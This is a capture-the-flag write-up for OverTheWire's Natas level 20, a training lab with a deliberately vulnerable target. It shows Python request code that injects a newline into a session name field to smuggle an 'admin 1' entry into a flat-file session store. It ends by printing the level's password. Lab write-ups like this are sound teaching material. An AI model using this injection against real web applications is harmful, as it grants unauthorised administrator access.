Writeups OverTheWireNatasWeb ExploitationSession InjectionNewline Injection

Natas 20 Writeup - OverTheWire

Writeup for Natas level 20 from OverTheWire: session file newline injection.

Contents

Wargame: Natas

Level: 20

Category: Web Exploitation

Description

The page has a custom session storage implementation that saves session data to a flat file. Each session property is stored as key value on its own line. The goal is to set admin to 1 in the session.

Overview

Background: Newline Injection into Flat-File Session Storage

Solution

Step 1: Inject the Newline

data = {"name": "admin\nadmin 1", "debug": ""}
r = requests.post(url, auth=auth, data=data)
session_id = r.cookies["PHPSESSID"]

Step 2: Re-read the Session

r = requests.post(
    url,
    auth=auth,
    data={"debug": ""},
    cookies={"PHPSESSID": session_id},
)

Step 3: Extract the Password

Password

89OWrTkGmiLZLv12JY4tLj2c4FW0xn56

← Back to Blog